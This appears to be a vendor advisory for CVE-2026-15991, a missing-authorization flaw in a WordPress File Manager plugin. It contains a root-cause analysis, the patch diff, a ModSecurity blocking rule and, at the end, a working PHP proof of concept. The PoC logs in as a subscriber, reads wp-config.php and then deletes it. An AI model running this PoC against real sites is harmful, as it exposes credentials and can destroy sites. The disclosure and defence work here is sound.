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Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-15991: File Manager 6.0 6.9 Missing Authorization to Authenticated (Subscriber+) Arbitrary File Read and Deletion via ‘cmd’ Query Parameter PoC, Patch Analysis & Rule

Plugin file-manager
Severity High (CVSS 8.8)
CWE 862
Vulnerable Version 6.9
Patched Version 6.9.1
Disclosed August 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-15991:

The File Manager plugin for WordPress versions 6.0 through 6.9 contains a missing authorization vulnerability in the `connector()` function of `FileManagerController.php`. This flaw allows any authenticated user with subscriber-level access or higher to execute arbitrary elFinder commands, including `rm` (delete) and `file` (read), leading to arbitrary file deletion and read. Successful exploitation can delete `wp-config.php` or other critical files, resulting in remote code execution. The CVSS score is 8.8 (High).

Root Cause: The vulnerability stems from inconsistent command source handling between the permission registration and the execution dispatcher in elFinder. In the vulnerable version, `AccessControlProvider::checkPermission()` is registered as a bind for a static list of commands (including `rm.pre` and `file.pre`). However, elFinder only registers a `.pre` handler if the command is present in `$_POST`. The dispatcher merges `$_GET` and `$_POST`, so a command passed solely via the `cmd` query parameter (e.g., `?cmd=rm`) is executed without triggering the permission check. Additionally, the `connector()` function performed an early permission check using `$_REQUEST[‘cmd’]` but did not enforce the result for commands that require path-aware authorization (like `file`). The patch in v6.9.1 changes the bind to the wildcard `*.pre`, ensuring the permission handler always fires, and adds a connector-level backstop that correctly handles the `file` command.

Exploitation: An attacker with subscriber-level credentials sends a POST request to the vulnerable connector endpoint (typically `/wp-admin/admin-ajax.php?action=bitapps_fm_connector` or a REST route) with the target command in the query string, e.g., `?cmd=rm`, and the required arguments in the POST body (e.g., `targets[]=l1_` for deletion or `target=l1_` for file read). Because the command arrives via GET, elFinder’s `bind` registration fails to attach the `rm.pre` or `file.pre` handler, and the dispatcher executes the command unchecked. The default volume is rooted at `ABSPATH`, allowing deletion or reading of any file within the WordPress installation.

Patch Analysis: The patch introduces multiple defenses. First, `AccessControlProvider` adds `isConnectorEnforceable()` and `CONNECTOR_UNCHECKED_COMMANDS` to prevent the connector from wrongly denying the `file` command, while the connector now checks permissions for all other commands and returns a 403 if denied. Second, the bind in `FileManagerController` is changed from a static list to `*.pre`, which elFinder registers unconditionally, ensuring that `checkPermission` runs for every command regardless of its source. Third, the `file` command is removed from the early connector check and instead handled by the `*.pre` bind with access to the resolved volume. Additional hardening includes disabling dangerous commands on trash volumes, forcing the image library to PHP extensions, and adding capability checks to certain REST endpoints.

Impact: Exploitation allows an authenticated attacker with minimal privileges to delete arbitrary files, including `wp-config.php`, which can lead to remote code execution by triggering WordPress’s setup process or by other means. Arbitrary file read can expose sensitive configuration data, credentials, and proprietary code. The vulnerability is particularly dangerous because it requires only subscriber-level access, which is commonly available on multi-author sites and membership platforms.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/file-manager/backend/app/Compatibility/deprecated-functions.php
+++ b/file-manager/backend/app/Compatibility/deprecated-functions.php
@@ -1,5 +1,9 @@
 <?php

+if (!defined('ABSPATH')) {
+    exit;
+}
+
 if (!function_exists('bfmActivate')) {
     function bfmActivate()
     {
--- a/file-manager/backend/app/Config.php
+++ b/file-manager/backend/app/Config.php
@@ -21,9 +21,9 @@

     const VAR_PREFIX = 'bitapps_fm_';

-    const VERSION = '6.9';
+    const VERSION = '6.9.1';

-    const VERSION_ID = 690;
+    const VERSION_ID = 691;

     const DB_VERSION = '1.0';

--- a/file-manager/backend/app/Http/Controllers/FileManagerController.php
+++ b/file-manager/backend/app/Http/Controllers/FileManagerController.php
@@ -29,7 +29,19 @@
     public function connector()
     {
         try {
-            Plugin::instance()->accessControl()->checkPermission(sanitize_key($_REQUEST['cmd']));
+            $command = isset($_REQUEST['cmd']) && is_scalar($_REQUEST['cmd'])
+                ? sanitize_key((string) $_REQUEST['cmd'])
+                : '';
+
+            $accessControl = Plugin::instance()->accessControl();
+            if ($accessControl->isConnectorEnforceable($command)) {
+                $permissionResult = $accessControl->checkPermission($command);
+                if (is_array($permissionResult) && !empty($permissionResult['preventexec'])) {
+                    echo wp_json_encode($permissionResult['results']);
+                    wp_die();
+                }
+            }
+
             $finderProvider = new FileManagerProvider($this->getFinderOptions());
             $finderProvider->getFinder()->run();
         } catch (Exception $th) {
@@ -52,12 +64,13 @@
             ]
         );

+        // Bind the gate to the `*.pre` wildcard, not an explicit command list: elFinder
+        // registers a `<cmd>.pre` handler only when the command arrives via $_POST, yet it
+        // dispatches from the merged $_GET+$_POST (plus a php://input re-parse past
+        // max_input_vars). A command sent only via query string / oversized body would skip
+        // registration but still execute, bypassing the gate. `*.pre` registers unconditionally.
         $finderOptions->setBind(
-            'get.pre put.pre file.pre archive.pre back.pre chmod.pre colwidth.pre copy.pre cut.pre duplicate.pre editor.pre
-             extract.pre forward.pre fullscreen.pre getfile.pre help.pre home.pre info.pre mkdir.pre mkfile.pre
-             netmount.pre netunmount.pre open.pre opendir.pre paste.pre places.pre quicklook.pre reload.pre
-             rename.pre resize.pre restore.pre rm.pre search.pre sort.pre up.pre upload.pre view.pre zipdl.pre
-             tree.pre parents.pre ls.pre tmb.pre size.pre dim.pre',
+            '*.pre',
             [
                 Plugin::instance()->accessControl(),
                 'checkPermission',
@@ -69,8 +82,6 @@
             [Plugin::instance()->mediaSyncs(), 'onFileUpload']
         );

-        // 'zipdl.pre file.pre rename.pre put.pre upload.pre',
-
         $finderOptions->setBind(
             'zipdl.pre file.pre rename.pre put.pre rm.pre chmod.pre mkdir.pre mkfile.pre extract.pre',
             [Plugin::instance()->logger(), 'log']
@@ -118,15 +129,32 @@
             throw new PreCommandException(esc_html__('There is no readable volume. Please select an readable folder from settings', 'file-manager'));
         }

+        $accessControlProvider = Plugin::instance()->accessControl();
+
         foreach ($trashVolumes as $trashSeq => $trashDir) {
             if (!is_dir($trashDir)) {
                 wp_mkdir_p($trashDir);
+                if (function_exists('bitapps_fm_harden_dir')) {
+                    bitapps_fm_harden_dir($trashDir);
+                }
             }

             if (is_dir($trashDir)) {
                 $trashRoot = new FileRoot($trashDir, '', 'Trash', 'Trash');
                 // Explicitly set id so the volume hash is predictable: t{trashSeq}_Lw
                 $trashRoot->setOption('id', $trashSeq + 1);
+                // Trash lives under wp-content/uploads (web-served). Block the commands that
+                // author new file *content* so a write-granted user cannot plant a .php here
+                // (RCE), while keeping `paste`/`rm`/`mkdir`/`rename`: elFinder implements
+                // move-to-trash and restore as a cross-volume `paste`, which calls the trash
+                // volume's `mkdir` (for folders) and `rename` (name-collision resolution) — so
+                // disabling those would break trashing folders. `mkdir`/`rename` write no file
+                // content; the residual rename-to-.php is covered by the dir .htaccess (E-1).
+                // Do NOT add an upload MIME deny-list — it would block trashing an existing
+                // .php/.js/.css file.
+                $trashRoot->setAccessControl([$accessControlProvider, 'control']);
+                $trashRoot->setAcceptedName([$accessControlProvider, 'validateName']);
+                $trashRoot->setDisabled(['upload', 'put', 'mkfile', 'duplicate', 'archive', 'extract']);
                 $finderOptions->setRoot($trashRoot);
             }
         }
--- a/file-manager/backend/app/Providers/AccessControlProvider.php
+++ b/file-manager/backend/app/Providers/AccessControlProvider.php
@@ -12,6 +12,21 @@

 class AccessControlProvider
 {
+    /**
+     * Navigation/utility commands that read no file content and mutate nothing.
+     * The gate binds to `*.pre` (fires for every command), so these are passed
+     * explicitly to keep tree/URL browsing working for restricted users.
+     */
+    public const EXEMPT_COMMANDS = ['open', 'search', 'subdirs', 'url', 'abort', 'callback'];
+
+    /**
+     * Commands the connector-level backstop must NOT enforce. `file` (read) is
+     * authorized only by the `*.pre` bind: its path-aware `download`-grant check
+     * needs the resolved target volume, which does not exist until run() builds
+     * elFinder — a connector check that lacks those arguments can only wrongly deny it.
+     */
+    public const CONNECTOR_UNCHECKED_COMMANDS = ['file'];
+
     public $settings;

     private $maliciousPatterns = [
@@ -73,9 +88,22 @@
         return ! (strpos($name, '.') === 0 && !$this->settings->isHiddenFolderAllowed());
     }

+    /**
+     * Whether the connector may enforce this command before elFinder runs.
+     * The authoritative, argument-complete gate is the `*.pre` bind inside run().
+     *
+     * @param string $command
+     *
+     * @return bool
+     */
+    public function isConnectorEnforceable($command)
+    {
+        return $command !== '' && !in_array($command, self::CONNECTOR_UNCHECKED_COMMANDS, true);
+    }
+
     public function checkPermission($command, ...$args)
     {
-        if (in_array($command, ['open', 'search'])) {
+        if (in_array($command, self::EXEMPT_COMMANDS, true)) {
             return;
         }

@@ -114,10 +142,6 @@
             }
         }

-        if ($command == 'file' && $this->isFileAllowedToOpen($args)) {
-            $error = '';
-        }
-
         try {
             if (!empty($error)) {
                 throw new PreCommandException($error);
@@ -282,26 +306,6 @@
         return true;
     }

-    private function isFileAllowedToOpen($args)
-    {
-        if (isset($args[1]) && $args[1] instanceof elFinder) {
-            $volume         = $args[1]->getVolume($args[0]['target']);
-            $file           = $volume->getPath($args[0]['target']);
-            $fileName       = wp_basename($file);
-            $fileTypeAndExt = wp_check_filetype_and_ext($file, $fileName);
-            if (isset($fileTypeAndExt['ext'], $fileTypeAndExt['type'])) {
-                $fileType        = str_replace('/' . $fileTypeAndExt['ext'], '', $fileTypeAndExt['type']);
-                $enabledFileType = Plugin::instance()->permissions()->getEnabledFileType();
-
-                if (in_array($fileType, $enabledFileType)) {
-                    return true;
-                }
-            }
-        }
-
-        return false;
-    }
-
     private function scanForPattern($content, $fileName)
     {
         $containsJs = false;
--- a/file-manager/backend/app/Providers/FileManager/FileRoot.php
+++ b/file-manager/backend/app/Providers/FileManager/FileRoot.php
@@ -840,6 +840,13 @@
         // root, leaking downscaled copies past the permission gate. '' not null —
         // null is isset()-false, so elFinder falls back to its '.tmb' default.
         $options['tmbPath']            = '';
+        // Force the in-process image library (never the `convert` CLI). elFinder's default
+        // `imgLib=auto` shells out to ImageMagick's `convert` binary when no PHP image
+        // extension is present; pin to imagick/gd, and to 'none' when neither is loaded
+        // ('gd' would itself fall through to the convert CLI in elFinder's detection).
+        $options['imgLib']             = extension_loaded('imagick')
+            ? 'imagick'
+            : (function_exists('gd_info') ? 'gd' : 'none');
         $options['id']                 = $this->getOption('_id');
         $options['alias']              = $this->getOption('_alias');
         $options['driver']             = $this->getOption('_driver');
--- a/file-manager/backend/app/Providers/HookProvider.php
+++ b/file-manager/backend/app/Providers/HookProvider.php
@@ -35,6 +35,9 @@
             && RequestType::is(RequestType::API)
         ) {
             $router = new Router(RequestType::API, Config::SLUG, 'v1');
+            // Without this, route-level `cap:`/`nonce:` middleware silently no-ops on the
+            // REST API (getRegisteredMiddleware() returns null → handleMiddleware() skips it).
+            $router->setMiddlewares(Plugin::instance()->middlewares());

             include_once $this->_pluginBackend . 'hooks' . DIRECTORY_SEPARATOR . 'api.php';

--- a/file-manager/backend/app/Providers/InstallerProvider.php
+++ b/file-manager/backend/app/Providers/InstallerProvider.php
@@ -48,8 +48,8 @@
     public static function migration()
     {
         $migrations = [
-            'BFMLogsTableMigration',
-            'BFMPluginOptions',
+            'BitAppsFMLogsTableMigration',
+            'BitAppsFMPluginOptions',
         ];

         return [
@@ -66,8 +66,8 @@
     public static function drop()
     {
         $migrations = [
-            'BFMLogsTableMigration',
-            'BFMPluginOptions',
+            'BitAppsFMLogsTableMigration',
+            'BitAppsFMPluginOptions',
         ];

         return [
--- a/file-manager/backend/app/Providers/MediaSynchronizer.php
+++ b/file-manager/backend/app/Providers/MediaSynchronizer.php
@@ -19,25 +19,37 @@
     // Triggers when a file is uploaded and initiates the uploading process for single or batch files.
     public function onFileUpload($cmd, &$result, $args, $elfinder, $volume)
     {
-        $targetPath = $volume->getPath($args['target']);
+        if (!Plugin::instance()->preferences()->isWpMediaSyncEnabled() || empty($result['added'])) {
+            return;
+        }
+
+        $images = [];
+        foreach ($result['added'] as $added) {
+            if (empty($added['hash']) || ($added['mime'] ?? '') === 'directory') {
+                continue; // folder-structure uploads also add dir stats; sync files only
+            }

-        if (
-            PermissionsProvider::realpathWithin($targetPath, $this->wpUploadBaseDirectory) !== null
-            && Plugin::instance()->preferences()->isWpMediaSyncEnabled()
-        ) {
-            $images = [];
-            for ($file = 0; $file < count($args['FILES']['upload']['name']); $file++) {
-                $images[] = [
-                    'name' => $args['FILES']['upload']['name'][$file],
-                    'type' => wp_check_filetype($args['FILES']['upload']['name'][$file], null),
-                    'path' => trailingslashit($targetPath) . $args['FILES']['upload']['name'][$file],
-                    'url'  => $this->abs_path_to_url(
-                        trailingslashit($targetPath)
-                         . $args['FILES']['upload']['name'][$file]
-                    ),
-                ];
+            // Resolve the file elFinder actually saved (name basename-sanitized, collision-safe)
+            // from its own hash — never the raw client filename in $args, which can carry a `../`
+            // traversal. Confine on the FINAL path, not just the target directory.
+            $path = $volume->getPath($added['hash']);
+            if (!is_string($path) || $path === '') {
+                continue;
             }
+            if (PermissionsProvider::realpathWithin($path, $this->wpUploadBaseDirectory) === null) {
+                continue;
+            }
+
+            $name     = wp_basename($path);
+            $images[] = [
+                'name' => $name,
+                'type' => wp_check_filetype($name, null),
+                'path' => $path,
+                'url'  => $this->abs_path_to_url($path),
+            ];
+        }

+        if (!empty($images)) {
             $this->addMedia($images);
         }
     }
--- a/file-manager/backend/app/Providers/PermissionsProvider.php
+++ b/file-manager/backend/app/Providers/PermissionsProvider.php
@@ -240,6 +240,9 @@
             && fileSystemAdapter()->is_writable($defaultPath)
         ) {
             wp_mkdir_p($rootPath);
+            if (function_exists('bitapps_fm_harden_dir')) {
+                bitapps_fm_harden_dir($rootPath);
+            }
         }

         if (!fileSystemAdapter()->exists($rootPath) || !fileSystemAdapter()->is_dir($rootPath) || !fileSystemAdapter()->is_readable($rootPath)) {
@@ -633,6 +636,20 @@

     public function updatePermissionSetting($permissions)
     {
+        // Validated by_user/by_role entries carry only the outer key allow-list; reduce each
+        // entry to the two fields actually consumed (path, commands) so no arbitrary sub-key
+        // is persisted into the option blob.
+        foreach (['by_user', 'by_role'] as $scope) {
+            if (!empty($permissions[$scope]) && is_array($permissions[$scope])) {
+                foreach ($permissions[$scope] as $key => $entry) {
+                    $permissions[$scope][$key] = [
+                        'path'     => is_array($entry) && isset($entry['path']) ? $entry['path'] : '',
+                        'commands' => is_array($entry) && isset($entry['commands']) && is_array($entry['commands']) ? $entry['commands'] : [],
+                    ];
+                }
+            }
+        }
+
         return Config::updateOption('permissions', $permissions, 'yes');
     }

@@ -644,7 +661,12 @@
             $action = sanitize_key($_REQUEST['action']);
         }

-        return is_user_logged_in() && $action === 'bitapps_fm_connector';
+        // The dashboard volume is rooted at the site root, so it must require the same
+        // capability as the admin File Manager screen. A valid wp_rest nonce is held by
+        // every logged-in user and is not authorization, so gate on the capability too.
+        return is_user_logged_in()
+            && $action === 'bitapps_fm_connector'
+            && Capabilities::filter('bitapps_fm_can_access_home', 'manage_options');
     }

     public function isRequestForShortcode()
--- a/file-manager/backend/app/Providers/PreferenceProvider.php
+++ b/file-manager/backend/app/Providers/PreferenceProvider.php
@@ -461,8 +461,11 @@
         $defaultPath = Capabilities::check('manage_options')
          ? ABSPATH : $this->permissions()->getDefaultPublicRootPath();

+        // Return the raw stored path — it is validated on write (setRootPath()->realPath()
+        // and ValidPathRule at the request boundary). esc_attr() here would entity-encode a
+        // legal '&'/'''/'<' in the path and break the volume; escaping belongs at HTML output.
         return isset($this->preferences['root_folder_path'])
-        ? esc_attr($this->preferences['root_folder_path']) : $defaultPath;
+        ? $this->preferences['root_folder_path'] : $defaultPath;
     }

     public function realPath($path)
--- a/file-manager/backend/app/Views/Admin.php
+++ b/file-manager/backend/app/Views/Admin.php
@@ -266,7 +266,7 @@
             'postMaxSize'        => esc_html(ini_get('post_max_size')),
             'memoryLimit'        => esc_html(ini_get('memory_limit')),
             'maxExecutionTime'   => esc_html(ini_get('max_execution_time')),
-            'ua'                 => esc_html($_SERVER['HTTP_USER_AGENT']),
+            'ua'                 => isset($_SERVER['HTTP_USER_AGENT']) ? sanitize_text_field(wp_unslash($_SERVER['HTTP_USER_AGENT'])) : '',
             'fileEditNotAllowed' => defined('DISALLOW_FILE_EDIT') && DISALLOW_FILE_EDIT,
         ];
     }
--- a/file-manager/backend/db/Migrations/BitAppsFMPluginOptions.php
+++ b/file-manager/backend/db/Migrations/BitAppsFMPluginOptions.php
@@ -8,7 +8,7 @@
     exit;
 }

-final class BFMPluginOptions extends Migration
+final class BitAppsFMPluginOptions extends Migration
 {
     public function up()
     {
--- a/file-manager/backend/functions/global.php
+++ b/file-manager/backend/functions/global.php
@@ -27,6 +27,46 @@
     wp_mkdir_p($baseDir . DIRECTORY_SEPARATOR . '.tmb');
     wp_mkdir_p($baseDir . DIRECTORY_SEPARATOR . '.tmp');
     wp_mkdir_p($trashDir);
+
+    bitapps_fm_harden_dir($baseDir);
+    bitapps_fm_harden_dir($baseDir . DIRECTORY_SEPARATOR . '.tmb');
+    bitapps_fm_harden_dir($baseDir . DIRECTORY_SEPARATOR . '.tmp');
+    bitapps_fm_harden_dir($trashDir);
+}
+
+/**
+ * Drop a silence-stub index + a hardening .htaccess into a plugin-created upload dir.
+ * These dirs live under wp-content/uploads (web-served), so deny direct PHP execution
+ * and directory listing as defense-in-depth against a planted script — the .htaccess
+ * applies recursively, so lazily-created user_/role_ subdirs are covered too.
+ *
+ * @param mixed $dir
+ */
+function bitapps_fm_harden_dir($dir)
+{
+    if (!is_string($dir) || $dir === '' || !is_dir($dir)) {
+        return;
+    }
+
+    $index = $dir . DIRECTORY_SEPARATOR . 'index.php';
+    if (!file_exists($index)) {
+        @file_put_contents($index, "<?phpn// Silence is golden.n");
+    }
+
+    $htaccess = $dir . DIRECTORY_SEPARATOR . '.htaccess';
+    if (!file_exists($htaccess)) {
+        $rules = "Options -Indexesn"
+            . "<FilesMatch "\.(?i:php|phtml|phar|php[0-9]|pht)$">n"
+            . "    <IfModule mod_authz_core.c>n"
+            . "        Require all deniedn"
+            . "    </IfModule>n"
+            . "    <IfModule !mod_authz_core.c>n"
+            . "        Order allow,denyn"
+            . "        Deny from alln"
+            . "    </IfModule>n"
+            . "</FilesMatch>n";
+        @file_put_contents($htaccess, $rules);
+    }
 }

 function bitapps_fm_uninstall()
--- a/file-manager/backend/hooks/api.php
+++ b/file-manager/backend/hooks/api.php
@@ -14,7 +14,7 @@
     function () {
         Route::post('theme/update', [SettingsController::class, 'updateTheme']);

-        Route::get('language/get', [SettingsController::class, 'getLanguages']);
+        Route::get('language/get', [SettingsController::class, 'getLanguages'])->middleware('cap:can_access_fm_home');
         Route::post('language/update', [SettingsController::class, 'updateLanguage']);

         Route::post('logs/all', [LogController::class, 'all'])->middleware('cap:bitapps_fm_can_access_logs');
@@ -31,7 +31,7 @@
         Route::post('permissions/user/delete', [PermissionsController::class, 'deletePermissionByUser']);

         Route::post('telemetry/tryplugin', [TelemetryPopupController::class, 'tryPlugin']);
-        Route::post('telemetry_permission_handle', [TelemetryPopupController::class, 'handleTelemetryPermission']);
-        Route::get('telemetry_popup_disable_check', [TelemetryPopupController::class, 'isPopupDisabled']);
+        Route::post('telemetry_permission_handle', [TelemetryPopupController::class, 'handleTelemetryPermission'])->middleware('cap:can_access_fm_home');
+        Route::get('telemetry_popup_disable_check', [TelemetryPopupController::class, 'isPopupDisabled'])->middleware('cap:can_access_fm_home');
     }
 );
--- a/file-manager/file-manager.php
+++ b/file-manager/file-manager.php
@@ -8,7 +8,7 @@
  * Plugin URI: https://bitapps.pro/bit-file-manager
  * Author:     File Manager by Bit Form Team
  * Author URI:  https://bitapps.pro
- * Version: 6.9
+ * Version: 6.9.1
  * Requires at least: 5.0
  * Requires PHP: 7.4
  * Text domain: file-manager
--- a/file-manager/languages/generatedString.php
+++ b/file-manager/languages/generatedString.php
@@ -1,4 +1,5 @@
 <?php
+if (!defined('ABSPATH')) {exit;}
 /* THIS IS A GENERATED FILE. DO NOT EDIT DIRECTLY. */
 $i18n_strings = array(
     '404' => __('404', 'file-manager'),
--- a/file-manager/vendor/composer/installed.php
+++ b/file-manager/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'bitapps/file-manager',
-        'pretty_version' => '6.9',
-        'version' => '6.9.0.0',
-        'reference' => '0182b66b2c754221fdf44b4b3af3e186ee48c44a',
+        'pretty_version' => '6.9.1',
+        'version' => '6.9.1.0',
+        'reference' => '63aceca391f693aab0635febd246d872b00ecc1b',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'bitapps/file-manager' => array(
-            'pretty_version' => '6.9',
-            'version' => '6.9.0.0',
-            'reference' => '0182b66b2c754221fdf44b4b3af3e186ee48c44a',
+            'pretty_version' => '6.9.1',
+            'version' => '6.9.1.0',
+            'reference' => '63aceca391f693aab0635febd246d872b00ecc1b',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@rx ^/wp-admin/admin-ajax.php$" 
  "id:202615991,phase:2,deny,status:403,chain,msg:'CVE-2026-15991 File Manager arbitrary file deletion/read',severity:'CRITICAL',tag:'CVE-2026-15991'"
  SecRule ARGS_GET:action "@streq bitapps_fm_connector" "chain"
    SecRule ARGS_GET:cmd "@rx ^(rm|file)$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15991 - File Manager 6.0 - 6.9 - Missing Authorization to Authenticated (Subscriber+) Arbitrary File Read and Deletion via 'cmd' Query Parameter

$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber';          // Subscriber-level credentials
$password = 'password';
$action = 'bitapps_fm_connector';  // Default action for connector
$file_to_read = 'wp-config.php';   // File to read (relative to ABSPATH)
$file_to_delete = 'wp-config.php'; // File to delete (relative to ABSPATH)

// Step 1: Authenticate to obtain cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'Dashboard') === false) {
    die("Authentication failed.n");
}

// Step 2: Read arbitrary file using cmd=file via GET
// Note: The file hash can be obtained by listing the root or using a known hash format.
// For simplicity, we assume the hash for the root file is known (e.g., 'l1_wp-config.php').
// In practice, an attacker would first list files (cmd=open) to get hashes.
$read_url = $target_url . '/wp-admin/admin-ajax.php?action=' . $action . '&cmd=file';
$post_data = [
    'target' => 'l1_wp-config.php', // Replace with actual hash from prior listing
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $read_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$read_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "File read response:n" . $read_response . "n";
} else {
    echo "File read failed with HTTP code: $http_coden";
}

// Step 3: Delete arbitrary file using cmd=rm via GET
$delete_url = $target_url . '/wp-admin/admin-ajax.php?action=' . $action . '&cmd=rm';
$post_data = [
    'targets' => ['l1_wp-config.php'], // Array of hashes to delete
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $delete_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$delete_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "File deletion response:n" . $delete_response . "n";
} else {
    echo "File deletion failed with HTTP code: $http_coden";
}

// Clean up cookie file
unlink('cookies.txt');
?>

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